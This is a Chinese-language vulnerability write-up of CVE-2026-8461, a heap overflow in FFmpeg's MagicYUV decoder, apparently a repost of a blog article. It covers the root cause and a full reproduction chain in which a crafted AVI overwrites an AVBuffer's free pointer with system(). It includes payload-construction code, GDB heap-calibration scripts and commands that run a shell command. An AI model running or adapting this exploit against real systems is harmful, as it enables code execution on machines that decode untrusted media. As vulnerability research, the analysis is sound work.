CVE-2026-8461(PixelSmash)–分析及复现

admin 2026-06-26 06:56:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-8461是FFmpegMagicYUV解码器中存在的堆越界写入漏洞,当处理特定构造的AVI文件时,解码器会将640字节数据写入Cb平面缓冲区之外的内存区域。该漏洞源于magydecodeslice函数中height与sheight计算逻辑差异导致的指针越界,在ASLR禁用环境下可精准覆盖AVBuffer结构体的函数指针,进而实现任意代码执行。文档详细分析了漏洞成因、触发条件及完整利用链,包括堆布局操控和指针劫持技术。 综合评分: 85 文章分类: 漏洞分析,二进制安全,漏洞POC,应急响应,WEB安全


cover_image

CVE-2026-8461(PixelSmash) – 分析及复现

原创

Y5neKO Y5neKO

Y5Sec

2026年6月24日 15:36 四川

在小说阅读器读本章

去阅读

CVE-2026-8461(PixelSmash)— FFmpeg MagicYUV 解码器堆越界写入分析

CVE-2026-8461 是 FFmpeg MagicYUV 解码器中一处堆越界写入漏洞。通过精心构造的 AVI 文件可触发解码器将 640 字节数据写到 Cb 平面缓冲区末尾之外,在 ASLR 禁用、堆布局已知的条件下可进一步覆写 AVBuffer 函数指针,从而在解码过程中执行任意命令。本文记录漏洞成因及在受控环境(ASLR=0,x86_64)下的完整利用过程。


1. 漏洞概述

MagicYUV 是一种无损视频编解码器,FFmpeg 在 libavcodec/magicyuv.c 中实现了其解码器。漏洞位于解码函数 magy_decode_slice() 的 8 位格式处理路径。

| 字段 | 内容 | | — | — | | CVE 编号 | CVE-2026-8461 | | 漏洞类型 | 堆越界写入(Heap OOB Write,CWE-122) | | 受影响版本 | FFmpeg ≤ 8.0.1 | | 利用结果 | 代码执行(PoC 条件:ASLR=0,堆布局已知) |

复现环境:Ubuntu 20.04,内核 5.4.0-196-generic,x86_64,FFmpeg 8.0.1(gcc 9,-g -O0,含调试符号),glibc 2.31,ASLR 全局禁用(/proc/sys/kernel/randomize_va_space = 0)。


2. 漏洞根本原因

源码定位

漏洞在 libavcodec/magicyuv.c 的 magy_decode_slice() 函数中。该函数负责解码一个视频帧的单个 slice,对每个颜色平面分别处理行数据的写入。

关键代码(magicyuv.c:261-315):

static int magy_decode_slice(AVCodecContext *avctx, void *tdata,
                             int j, int threadnr)
{
    const MagicYUVContext *s = avctx->priv_data;
    ...
&nbsp; &nbsp; for&nbsp;(i =&nbsp;0; i < s->planes; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; // 行 273:实际需要处理的行数——用 FFMIN 截断到图像剩余高度
&nbsp; &nbsp; &nbsp; &nbsp; int&nbsp;height = AV_CEIL_RSHIFT(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FFMIN(s->slice_height, avctx->coded_height - j * s->slice_height),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s->vshift[i]);

&nbsp; &nbsp; &nbsp; &nbsp; // 行 275:标准 slice 高度——不考虑末尾截断
&nbsp; &nbsp; &nbsp; &nbsp; int&nbsp;sheight = AV_CEIL_RSHIFT(s->slice_height, s->vshift[i]);

&nbsp; &nbsp; &nbsp; &nbsp; // 行 287:dst 指针使用 sheight 计算偏移
&nbsp; &nbsp; &nbsp; &nbsp; dst = p->data[i] + j * sheight * stride;

&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(flags &&nbsp;1) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 行 290:大小校验只检查 width * height(实际写入量)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(s->slices[i][j].size -&nbsp;2&nbsp;< width * height)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;AVERROR_INVALIDDATA;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 行 292:循环按 height 行写入,但 dst 已经越界
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for&nbsp;(k =&nbsp;0; k < height; k++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bytestream_get_buffer(&slice, dst, width);&nbsp; // ← OOB WRITE
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dst += stride;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; &nbsp; &nbsp; // 行 307-308:Left-prediction 原地解码
&nbsp; &nbsp; &nbsp; &nbsp; case&nbsp;LEFT:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dst = p->data[i] + j * sheight * stride;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s->llviddsp.add_left_pred(dst, dst, width,&nbsp;0);
&nbsp; &nbsp; }
}

问题所在

height 和 sheight 的计算路径不同。height(行 273)先用 FFMIN 将值限制在图像实际剩余行数以内,再右移;sheight(行 275)直接对 slice_height 右移,不做截断。

dst 指针(行 287)用的是 sheight,因此当处理最后一个 slice 时,如果图像高度不是 slice_height 的整数倍,dst 就会指向平面缓冲区末尾之外的位置。随后的循环(行 292)虽然只写 height 行,但因为起始地址已经越界,写入的数据全部落在分配区域之外的堆内存上。

行 290 的大小校验只检查”写入量是否超过 slice 数据”,无法察觉 dst 已经越界,所以校验形同虚设。


3. 漏洞触发条件

3.1 触发路径

magy_decode_slice() 仅在 ffmpeg 的主解码循环中被调用,avformat_open_input 或探测阶段不会触发完整解码。完整调用链:

ffmpeg -i evil.avi -f null -
&nbsp; └─ 主解码循环
&nbsp; &nbsp; &nbsp; &nbsp;└─ avcodec_send_packet(dec_ctx, pkt)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─ decode_simple_internal()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;└─ magy_decode_frame()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─ avctx->execute2(avctx, magy_decode_slice, ...)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;└─ magy_decode_slice(avctx, tdata, j=1, threadnr)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─ bytestream_get_buffer() &nbsp;← 640 字节 OOB 写入
&nbsp; └─ av_frame_unref(frame)
&nbsp; &nbsp; &nbsp; &nbsp;└─ av_buffer_unref(frame->buf[1]) &nbsp; ← Cb 平面 AVBuffer
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─ refcount: 1 → 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;└─ b->free(b->opaque, b->data) &nbsp;← 劫持点

-f null - 是必须的输出描述符。不加输出时,ffmpeg 在打印流信息后直接退出,主解码循环不运行,av_buffer_unref 不会在解码帧的 Cb 缓冲区上触发,劫持的 free 指针永远不会被调用。

3.2 帧几何参数

要触发越界写入,需要构造使最后一个 slice 的 Cb 颜色平面的 dst 指针越过缓冲区末尾的 AVI 文件。

YUV420P 格式下,色度平面的 hshift=1vshift=1

  • • coded_width = 1280,色度宽度 = AV_CEIL_RSHIFT(1280, 1) = 640,stride = 640 字节
  • • coded_height = 32,色度高度 = AV_CEIL_RSHIFT(32, 1) = 16,Cb 缓冲区分配大小 = 640 × 16 = 10240 字节
  • • slice_height = 31

这组参数产生 2 个 slice(ceil(32/31) = 2)。对第二个 slice(j=1)的 Cb 平面:

sheight = AV_CEIL_RSHIFT(31, 1) = ceil(31/2) = 16

remaining = 32 - 1×31 = 1
height &nbsp; &nbsp;= AV_CEIL_RSHIFT(FFMIN(31, 1), 1) = AV_CEIL_RSHIFT(1, 1) = 1

dst = Cb_data + j × sheight × stride
&nbsp; &nbsp; = Cb_data + 1 × 16 × 640
&nbsp; &nbsp; = Cb_data + 10240 &nbsp; ← 恰好指向 Cb 缓冲区末尾之后

dst 越过末尾后,循环写入 1 行 × 640 字节 = 640 字节越界数据,方向是堆的较高地址。

大小校验(magicyuv.c:290)检查的是 s->slices[i][j].size - 2 < width * height,即 slice 数据量是否不足 width × height 字节。对 j=1 的 Cb 平面:width × height = 640 × 1 = 640。只要 AVI 文件中该 slice 提供 ≥ 642 字节的数据(我们控制文件内容,这是平凡的),校验就通过,写入照常进行,但起始地址已经越界。

写入完成后,add_left_pred(行 307-308)对写入区域进行 left-prediction 累加和解码。这意味着攻击者不能直接控制写到堆上的值,而必须先做逆变换,下文会详细说明。


4. 利用链设计

4.1 堆布局——OOB 落点

越界写入本身不足以构成 RCE,关键在于写入内容落在了什么地方。通过 GDB 在 magicyuv.c:291 设置条件断点(j==1 && i==1),在 OOB 写入发生前转储堆内容:

(gdb) break magicyuv.c:291 if j==1 && i==1
(gdb) run -i /tmp/exploit.avi -f null - 2>/dev/null
(gdb) x/80gx dst

OOB 起始地址为 0x5555556c5d80。在这个地址往后 640 字节的范围内,堆布局如下:

OOB+0x000 ~ +0x04f : 空闲内存(全零)← 用于放置 shell 命令字符串
OOB+0x058 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Chunk A,size=0xa0,free,small bin
OOB+0x060 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Chunk A.fd → Chunk E
OOB+0x068 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Chunk A.bk → glibc 主 arena small bin 头

OOB+0x0f0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Chunk B,prev_size=0xa0,size=0x40,allocated
OOB+0x100 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: AVBuffer.data &nbsp; &nbsp; = 0x5555556c3580 &nbsp;← Cb 像素数据
OOB+0x108 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: AVBuffer.size &nbsp; &nbsp; = 0x284f
OOB+0x110 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: AVBuffer.refcount = 0x1
OOB+0x118 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: AVBuffer.free &nbsp; &nbsp; = 0x55555560e0c0 &nbsp;← av_buffer_default_free(待劫持)
OOB+0x120 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: AVBuffer.opaque &nbsp; = 0x5555556c5fc0 &nbsp;← 待劫持

OOB+0x138 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Chunk C,size=0x41,free,small bin
OOB+0x178 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Chunk D,size=0x20,allocated,含 AVBufferRef
OOB+0x180 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: AVBufferRef.buf &nbsp; = 0x5555556c5e80 &nbsp;→ AVBuffer
OOB+0x188 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: AVBufferRef.data &nbsp;= 0x5555556c3580

OOB+0x198 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Chunk E,size=0xa0,free,small bin
OOB+0x1a0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Chunk E.fd → Chunk A(形成双向链表)

Cb 平面的 AVBuffer 结构体恰好位于 OOB 区域内(OOB+0x100,即越界起点后 256 字节处)。

为什么 AVBuffer 在 OOB+256?

这来自 FFmpeg 帧缓冲区的分配顺序。magy_decode_frame() 通过 ff_get_buffer() → avcodec_default_get_buffer2() → av_frame_get_buffer() 为各颜色平面依次分配资源。以 Cb 平面(plane index 1)为例,av_buffer_alloc(cb_size) 内部连续执行两次 malloc:

  1. 1. av_malloc(10240) → Cb 像素数据块(glibc chunk,用户数据 10240 字节,即整个 Cb 缓冲区)
  2. 2. av_malloc(sizeof(AVBuffer)) → AVBuffer 管理结构体(~0x30 字节)

ASLR=0 的条件下,glibc 堆分配完全确定——相同二进制、相同输入路径、相同 glibc 版本,每次运行的分配地址完全一致。Cb 数据块结束后,堆上不是直接紧跟 AVBuffer,而是夹着 Chunk A(一个 0xa0 字节的 free chunk,来自解码初始化期间某次 alloc/free 配对)以及 AVBuffer 所在 Chunk B 的 0x10 字节 glibc 头部,合计恰好 0x100 = 256 字节。Calibration 的作用就是自动捕获这一布局的精确偏移,无需从分配顺序推算。

4.2 AVBuffer 函数指针劫持

AVBuffer 结构定义于 libavutil/buffer_internal.h:38

struct&nbsp;AVBuffer&nbsp;{
&nbsp; &nbsp; uint8_t&nbsp;*data;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // +0x00
&nbsp; &nbsp; size_t&nbsp; &nbsp;size;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // +0x08
&nbsp; &nbsp; atomic_uint&nbsp;refcount;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// +0x10
&nbsp; &nbsp; void&nbsp;(*free)(void&nbsp;*opaque,&nbsp;uint8_t&nbsp;*data);&nbsp;// +0x18 ← 劫持目标
&nbsp; &nbsp; void&nbsp;*opaque;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// +0x20 ← 劫持目标
&nbsp; &nbsp; int&nbsp;flags;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // +0x28
};

当 av_buffer_unref() 将 refcount 从 1 减到 0 时,它执行(libavutil/buffer.c:130):

b->free(b->opaque, b->data);

x86-64 调用约定下,第一个参数(b->opaque)放入 rdisystem() 只读第一个参数。因此:

  1. 1. 将 AVBuffer.free 覆写为 system() 的地址
  2. 2. 将 AVBuffer.opaque 覆写为 shell 命令字符串所在堆地址(即 OOB+0x00
  3. 3. 保持 AVBuffer.refcount = 1,保证减到 0 后触发回调

帧被释放时,调用等价于:

system("id > /tmp/pwned");

4.3 Left-Prediction 逆变换

越界写入的数据在真正写到堆上之前,会被 add_left_pred 做累加和解码:

decoded[0] = raw[0]
decoded[i] = (decoded[i-1] + raw[i]) & 0xFF

因此文件中存储的不能是期望出现在堆上的值,而必须是经过逆变换后的值。逆变换(exploit_cve_2026_8461.py 中的 left_pred_encode())为:

def&nbsp;left_pred_encode(desired:&nbsp;bytes) ->&nbsp;bytes:
&nbsp; &nbsp; raw =&nbsp;bytearray(len(desired))
&nbsp; &nbsp; raw[0] = desired[0]
&nbsp; &nbsp; for&nbsp;i&nbsp;in&nbsp;range(1,&nbsp;len(desired)):
&nbsp; &nbsp; &nbsp; &nbsp; raw[i] = (desired[i] - desired[i-1]) &&nbsp;0xFF
&nbsp; &nbsp; return&nbsp;bytes(raw)

写入 AVI 文件的是 left_pred_encode(desired)add_left_pred 解码后,堆上得到的是 desired——即我们精确控制的 payload。

add_left_pred 每行以参数 0 作为初始累加值(add_left_pred(dst, dst, width, 0)),因此 j=1 的 OOB 行与 j=0 的内容完全无关,逆变换只需针对 j=1 的 640 字节独立计算。j=0 的 Cb slice 在正常缓冲区范围内写入,填充全零像素是为了给解码器提供合法的像素数据,与 payload 无关。


5. Exploit 生成器

exploit_cve_2026_8461.py 将上述利用链封装为自动化工具。核心参数固定在脚本顶部:

WIDTH &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;1280&nbsp; &nbsp;# 色度宽度 640
HEIGHT &nbsp; &nbsp; &nbsp; =&nbsp;32&nbsp; &nbsp; &nbsp;# 总行数
SLICE_HEIGHT =&nbsp;31&nbsp; &nbsp; &nbsp;# 触发 OOB 的关键
NB_SLICES &nbsp; &nbsp;=&nbsp;2

build_cb_oob_payload() 按以下顺序构建 640 字节 payload:

payload =&nbsp;bytearray(640)&nbsp; &nbsp;# 全零基底

# 1. OOB+0 处放 shell 命令(NUL 结尾)
payload[0:len(cmd_bytes)] = cmd_bytes

# 2. 写入 glibc chunk 元数据,防止堆结构被清零破坏
for&nbsp;off, data&nbsp;in&nbsp;cal.glibc_metadata.items():
&nbsp; &nbsp; payload[off:off+len(data)] = data

# 3. 覆写 AVBuffer 三个关键字段
struct.pack_into('<I', payload, avb +&nbsp;16,&nbsp;1)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # refcount = 1
struct.pack_into('<Q', payload, avb +&nbsp;24, cal.system_addr)&nbsp; &nbsp; &nbsp; # free = system()
struct.pack_into('<Q', payload, avb +&nbsp;32, cal.cmd_heap_addr)&nbsp; &nbsp; # opaque = 命令地址

# 4. 写入需要保留的堆指针(优先级高于 glibc_metadata)
for&nbsp;off, data&nbsp;in&nbsp;cal.preserve.items():
&nbsp; &nbsp; payload[off:off+len(data)] = data

payload 经 left_pred_encode() 后写入 AVI 文件的 Slice 1 数据区。同时,Cr 平面的越界区域写入 cr_metadata 保留的 chunk 元数据,防止 Cr OOB 写入破坏堆。

AVI 容器由 build_avi() 封装,slice_height 字段写入 31(p32(SLICE_HEIGHT)),这是触发解码器走到漏洞路径的关键。


6. 自动 Calibration

Calibration 记录了目标运行时的三类信息:system() 的运行时地址、命令字符串落点(cmd_heap_addr)、以及 OOB 区域内每个 glibc chunk 的元数据。exploit 生成器依赖这些参数精确构建 payload。

ASLR 必须全局禁用才能使 calibration 有效:setarch -R 只设置进程级 ADDR_NO_RANDOMIZE,只禁用栈随机化,堆和 mmap 区域(包括 libc)仍然随机。正确做法是 sudo sysctl -w kernel.randomize_va_space=0,禁用后同一二进制+同一输入路径每次运行的所有地址完全重现。

Calibration 数据格式

calibration.json 包含两个关键字段,来源于 OOB 区域的堆分析:

glibc_metadata:OOB 写入后必须保持原值的 chunk size 字段(以 OOB 相对偏移为 key,little-endian hex 为 value)。payload 的全零基底会清空整个 640 字节区域;如果任何一个 chunk 的 size 字段(如 Chunk B 在 OOB+0xf8 的 size=0x40)被清零,glibc 下次调用 malloc 时扫描堆就会遇到 size=0 的异常 chunk,在 av_buffer_unref 触发 system() 之前就已经 abort。

preserve:必须保留原值的堆指针,包括 free chunk 的 fd/bk 链表指针(小端序,字节序写反即触发 corrupted double-linked list)和 AVBuffer/AVBufferRef 的 data/size 字段。preserve 覆写优先级高于 glibc_metadata,最后写入 payload,确保不被覆盖。

auto_calibrate.py — 调试版(含 -g 符号)

适用场景:FFmpeg 从源码编译含 DWARF 调试信息(-g),或通过包管理器安装了 -dbg 包。

该脚本利用 magicyuv.c:291 的行号断点,在 OOB 写入发生之前捕获 Cb 和 Cr 平面的堆快照:

break magicyuv.c:291 if j==1 && i==1 &nbsp; ← Cb OOB 写入前
commands 1
&nbsp; printf "==CB_OOB==\n"
&nbsp; printf "ADDR=0x%lx\n", (unsigned long)dst
&nbsp; x/80gx dst &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 转储 640 字节
&nbsp; printf "==END_CB==\n"
&nbsp; continue
end

break magicyuv.c:291 if j==1 && i==2 &nbsp; ← Cr OOB 写入前
commands 2
&nbsp; ...
&nbsp; printf "SYSTEM=0x%lx\n", (unsigned long)&system
&nbsp; ...
end

断点在写入之前触发,堆处于干净状态。Python 解析转储后,通过以下两步找到 AVBuffer:

遍历 glibc chunkwalk_chunks()):扫描每个 8 字节对齐位置,检查 size_field 是否构成合法 chunk 头(32 ≤ size ≤ 65536,16 字节对齐,无 IS_MMAPPED/NON_MAIN_ARENA 标志),同时验证 next chunk 合法,并通过 next_chunk.PREV_INUSE == 0 判断当前 chunk 是否为 free。

识别 AVBufferfind_avbuffer()):在 allocated chunk 的用户数据区寻找满足以下条件的结构:data 是有效指针,size 为合理正整数,refcount == 1free 是代码段地址。

用法

sudo&nbsp;sysctl -w kernel.randomize_va_space=0

python3 auto_calibrate.py \
&nbsp; &nbsp; --ffmpeg /path/to/ffmpeg-with-debug \
&nbsp; &nbsp; --avi &nbsp; &nbsp;/tmp/exploit.avi \
&nbsp; &nbsp; -o &nbsp; &nbsp; &nbsp; calibration.json

输出

[*] Generating probe AVI -> /tmp/exploit.avi
[*] Running GDB probe (ffmpeg=/tmp/ffmpeg-8.0.1/ffmpeg)...
[*] Building calibration...
&nbsp; chunks:
&nbsp; &nbsp; OOB+0x50: &nbsp;size=0xa0 FREE
&nbsp; &nbsp; OOB+0xf0: &nbsp;size=0x40 ALLOC
&nbsp; &nbsp; OOB+0x130: size=0x40 FREE
&nbsp; &nbsp; OOB+0x170: size=0x20 ALLOC
&nbsp; &nbsp; OOB+0x190: size=0xa0 FREE
&nbsp; AVBuffer @ OOB+0x100: data=0x5555556c3580, free=0x55555560e0c0
&nbsp; AVBufferRef @ OOB+0x180
&nbsp; Cr: 1 chunk(s) preserved

[+] calibration.json
&nbsp; &nbsp; system() &nbsp;= 0x7ffff7c89290
&nbsp; &nbsp; avbuf_at &nbsp;= 256
&nbsp; &nbsp; entries &nbsp; = 6 metadata, 12 preserve

auto_calibrate_nosym.py — 生产版(无调试符号)

适用场景apt install ffmpeg 等方式安装的 stripped 二进制,或以 --enable-shared --enable-stripping 编译的动态链接版本。这类二进制 .symtab 为空,行号断点无法使用。

生产版脚本改用两个不需要调试符号的 GDB 技术。

Phase 1 — 在 av_buffer_create 入口捕获数据指针

av_buffer_create(uint8_t *data, size_t size, ...) 是 libavutil 的公开 API,无论是否 strip 都保留在 libavutil.so 的 .dynsym 中。在函数入口处(x86_64 的 $rdi/$rsi,aarch64 的 $x0/$x1),data 和 size 参数直接可读,无需 finish。脚本读取目标二进制的 ELF e_machine 字段自动选择正确的寄存器名称:

def&nbsp;abi_regs(e_machine:&nbsp;int) ->&nbsp;tuple:
&nbsp; &nbsp; if&nbsp;e_machine == EM_AARCH64:
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;'$x0',&nbsp;'$x1'
&nbsp; &nbsp; if&nbsp;e_machine == EM_ARM:
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;'$r0',&nbsp;'$r1'
&nbsp; &nbsp; return&nbsp;'$rdi',&nbsp;'$rsi'&nbsp; # x86_64

通过大小过滤(CB_SIZE_MIN=8192 到 CB_SIZE_MAX=20480),捕获所有 Cb/Cr 缓冲区的分配地址作为候选。

Phase 2 — 硬件写监视点截获堆快照

对每个候选地址的 Cb_data + OOB_OFFSET(10240 字节)设置硬件写监视点:

watch *(char*)(OOB_START)

监视点在 OOB 写入的第一个字节后触发。此时 OOB+1 以后的堆内容完整,从 OOB+8 开始转储 79 个 qword(共 632 字节,跳过已被写入的首字节)。转储中出现合法 glibc chunk 的候选即为真正的 Cb OOB 起点,其余候选(Cr 缓冲区)另行探测。system() 地址通过 printf "SYSTEM=0x%lx\n", (unsigned long)&system 读取,无需任何调试符号。

用法

sudo&nbsp;sysctl -w kernel.randomize_va_space=0

# 系统安装版(apt/yum)
python3 auto_calibrate_nosym.py --avi /tmp/exploit.avi -o calibration.json

# 非标准路径安装(指定库目录)
python3 auto_calibrate_nosym.py \
&nbsp; &nbsp; --ffmpeg &nbsp;/opt/ffmpeg/bin/ffmpeg \
&nbsp; &nbsp; --libpath /opt/ffmpeg/lib \
&nbsp; &nbsp; --avi &nbsp; &nbsp; /tmp/exploit.avi \
&nbsp; &nbsp; -o &nbsp; &nbsp; &nbsp; &nbsp;calibration.json

输出(生产版 FFmpeg 8.0.1,stripped,动态链接)

[*] Generating probe AVI -> /tmp/exploit_prod.avi
[*] Phase 1: locating Cb/Cr buffer addresses...
&nbsp; &nbsp; 2 candidate(s):
&nbsp; &nbsp; &nbsp; 0x5555555c5440 size=10319 -> OOB 0x5555555c7c40
&nbsp; &nbsp; &nbsp; 0x5555555fdf40 size=10319 -> OOB 0x555555600740
[*] Phase 2: verifying OOB start via hardware watchpoint...
&nbsp; &nbsp; [1/2] testing 0x5555555c7c40 ...
&nbsp; &nbsp; &nbsp; &nbsp; valid — 6 chunks found, system=0x7ffff4f21290
[*] Phase 2b: probing Cr region 0x555555600740 ...
&nbsp; &nbsp; Cr: 1 chunk(s) preserved
[*] Building calibration...
&nbsp; chunks:
&nbsp; &nbsp; OOB+0x50: &nbsp;size=0x70 ALLOC
&nbsp; &nbsp; OOB+0xc0: &nbsp;size=0x30 ALLOC
&nbsp; &nbsp; OOB+0xf0: &nbsp;size=0x40 ALLOC
&nbsp; &nbsp; OOB+0x130: size=0x40 ALLOC
&nbsp; &nbsp; OOB+0x170: size=0x20 ALLOC
&nbsp; &nbsp; OOB+0x190: size=0x70 ALLOC
&nbsp; AVBuffer @ OOB+0x100: data=0x5555555c5440, free=0x7ffff52880c0
&nbsp; AVBufferRef @ OOB+0x180

[+] calibration.json
&nbsp; &nbsp; system() &nbsp;= 0x7ffff4f21290
&nbsp; &nbsp; avbuf_at &nbsp;= 256
&nbsp; &nbsp; entries &nbsp; = 6 metadata, 5 preserve

生产版(-O2)与调试版(-O0 -g)的 chunk 结构完全不同(size=0x70 vs size=0xa0 等),这说明两套 calibration 脚本不能混用,也说明手工记录 chunk 布局在不同编译选项下无法通用。

AVI 路径必须一致

probe 和 exploit 必须使用完全相同的 AVI 路径。avformat_open_input 在内部对输入路径做 av_strdup(),将路径字符串拷贝到堆上。路径长度不同意味着 strdup malloc chunk 的大小不同,后续所有分配的地址随之偏移,calibration 记录的 cmd_heap_addr 和所有 chunk 偏移立即失效。

实验中曾用 /tmp/_auto_calibrate_probe.avi(29 字符)作为 probe 路径,而用 /tmp/exploit.avi(16 字符)投递 exploit,结果 cmd_heap_addr 偏移 0x40,所有 chunk 边界偏移,触发 corrupted double-linked list。两个脚本均通过 --avi 参数强制 probe 与 exploit 使用同一绝对路径(默认 /tmp/exploit.avi)。

Calibration 文件示例

以下为调试版 FFmpeg 8.0.1(Ubuntu 20.04,glibc 2.31,ASLR=0,AVI 路径 /tmp/exploit.avi)上生成的完整 calibration:

{
&nbsp; "system_addr":&nbsp;"0x7ffff7c89290",
&nbsp; "cmd_at":&nbsp;0,
&nbsp; "cmd_maxlen":&nbsp;88,
&nbsp; "avbuffer_at":&nbsp;256,
&nbsp; "avb_refcount_off":&nbsp;16,
&nbsp; "avb_free_off":&nbsp;24,
&nbsp; "avb_opaque_off":&nbsp;32,
&nbsp; "cmd_heap_addr":&nbsp;"0x5555556c5d80",
&nbsp; "glibc_metadata":&nbsp;{
&nbsp; &nbsp; "0x58":&nbsp; "a100000000000000",
&nbsp; &nbsp; "0xf0":&nbsp; "a000000000000000",
&nbsp; &nbsp; "0xf8":&nbsp; "4000000000000000",
&nbsp; &nbsp; "0x110":&nbsp;"0100000000000000",
&nbsp; &nbsp; "0x138":&nbsp;"4100000000000000",
&nbsp; &nbsp; "0x198":&nbsp;"a100000000000000"
&nbsp; },
&nbsp; "cr_metadata":&nbsp;{
&nbsp; &nbsp; "0x50":&nbsp;"5100000000000000",
&nbsp; &nbsp; "0xa0":&nbsp;"a149000000000000"
&nbsp; },
&nbsp; "preserve":&nbsp;{
&nbsp; &nbsp; "0x60":&nbsp; "105f6c5555550000",
&nbsp; &nbsp; "0x68":&nbsp; "703ce2f7ff7f0000",
&nbsp; &nbsp; "0x100":&nbsp;"80356c5555550000",
&nbsp; &nbsp; "0x108":&nbsp;"4f28000000000000",
&nbsp; &nbsp; "0x140":&nbsp;"b0086c5555550000",
&nbsp; &nbsp; "0x148":&nbsp;"103ce2f7ff7f0000",
&nbsp; &nbsp; "0x170":&nbsp;"4000000000000000",
&nbsp; &nbsp; "0x178":&nbsp;"2000000000000000",
&nbsp; &nbsp; "0x180":&nbsp;"805e6c5555550000",
&nbsp; &nbsp; "0x188":&nbsp;"80356c5555550000",
&nbsp; &nbsp; "0x190":&nbsp;"4f28000000000000",
&nbsp; &nbsp; "0x1a0":&nbsp;"500b6c5555550000",
&nbsp; &nbsp; "0x1a8":&nbsp;"d05d6c5555550000"
&nbsp; }
}

7. 复现验证

生成 exploit AVI:

python3 exploit_cve_2026_8461.py \
&nbsp; &nbsp; --calibration calibration.json \
&nbsp; &nbsp; --cmd&nbsp;"id > /tmp/pwned"&nbsp;\
&nbsp; &nbsp; -o /tmp/exploit.avi
[+] /tmp/exploit.avi (61 KB, 1 frame(s))
&nbsp; &nbsp; cmd: id > /tmp/pwned
&nbsp; ffmpeg -i /tmp/exploit.avi -f null -
&nbsp; expected: command executes, then process crashes

触发:

ffmpeg -i /tmp/exploit.avi -f null -
# ...
# corrupted size vs. prev_size &nbsp; &nbsp;← 预期崩溃,system() 已完成

cat&nbsp;/tmp/pwned
uid=1000(ubuntu) gid=1000(ubuntu)&nbsp;groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),...

进程崩溃在 system() 成功返回后——system() 内部调用 malloc 时遇到已被 exploit 修改过的堆结构,触发次级崩溃,但命令已执行完毕。

完整执行时序:

ffmpeg -i exploit.avi -f null -
&nbsp; └─ avformat_find_stream_info()
&nbsp; &nbsp; &nbsp; &nbsp;└─ magy_decode_slice(j=1, i=1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ├─ dst = Cb_data + 10240 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(越过 Cb 缓冲区末尾)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ├─ bytestream_get_buffer() &nbsp; &nbsp; &nbsp; &nbsp; 640 字节 OOB 写入(raw 编码)
